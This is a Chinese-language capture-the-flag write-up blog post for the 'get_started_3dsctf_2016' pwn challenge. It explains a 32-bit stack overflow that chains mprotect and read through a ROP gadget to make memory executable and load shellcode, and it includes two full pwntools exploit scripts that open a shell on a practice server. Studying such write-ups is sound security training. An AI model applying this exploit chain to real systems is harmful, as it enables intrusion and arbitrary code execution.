get_started_3dsctf_2016

Posted by Mr.Be1ieVe on Monday, January 13, 2020

mprotect函数原型: int mprotect(void *addr, size_t len, int prot);

addr 内存启始地址

len 修改内存的长度

prot 内存的权限

[ img

所以得到exp:

from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
#sh = remote('node3.buuoj.cn',27037)

pop3_ret = 0x804951D #为了后续再能使用栈ret,我们得构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好.
mem_addr = 0x80EB000 #可读可写的内存,但不可执行
mem_size = 0x1000 #通过调试出来的值
mem_proc = 0x7 #可代表可读可写可执行
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12
#mprotect 的三个参数
payload_01 += p32(mem_addr) #mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size) #mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc) #mprotect函数参数3 修改的权限
payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址
payload_01 += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12
#read 的三个参数
payload_01 += p32(0) #read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr) #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小
payload_01 += p32(mem_addr) #执行完read后ret esi
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
sh.sendline(payload_sh)
sh.interactive()

来源:https://www.b1ndsec.cn/?p=371

LYXF-Logan 的WP

 修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ ../InsertPic &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x0x80EB000 ,所以我们对该内存进行增加一个权限

如何进行内存的权限修改,思路:
1.栈溢出ret 到 mprotect函数地址,我来解释一下 call 指令, call = push + jmp
所以直接ret后要留一个返回地址,因为ret 就相当于 jmp 到 mprotect,为了完整的回来,所以在
mprotect地址后在压入一个返回地址.
2.在32为系统中传参是使用栈传参,择第一个参数先push,第二个再push....
所以基本的payload可以构思如下:
payload = 'A' + 0x38 + p32(mprotect_addr)
payaloda += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)

这里的mprotect_addr就是我们要跳转到mprotect函数的地址
ret_addr 为 mprotect函数执行完后的地址.
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (edb-debuger查看得到)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)

为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好.

使用 ROPgadget --binary ../InsertPic --only 'pop|ret' | grep pop
存在pop的一些指令地址,可以发现:
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
那我们就得到了该地址.
上面的ret_addr就填写0x0804f460
好下面我们就要构思如何将自己的shellcode写入内存再执行,使用read函数写入.
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容
buf 设为我们想要执行的内存地址
size 适当大小就可以

...................

最终exp如下:

from pwn import *

elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576)

pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
esi = 0x80EB000 #可读可写的内存,但不可执行
edi = 0x1000    #通过调试出来的值
ebp = 0x7       #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.

'''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数
payload_01 += p32(esi)   #mprotect函数参数1 修改的内存地址
payload_01 += p32(edi)   #mprotect函数参数2 修改的内存大小
payload_01 += p32(ebp)   #mprotect函数参数3 修改的权限

payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址

payload_01 += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数
payload_01 += p32(0)     #read函数参数1 ,从输入端读取
payload_01 += p32(esi)   #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小

payload_01 += p32(esi)   #执行完read后ret esi

sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

sh.sendline(payload_sh)

sh.interactive()

get_started_3dsctf_2016-Pwn

标签:active bin lag 大小 art ger

原文:https://www.cnblogs.com/lyxf/p/12113401.html

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付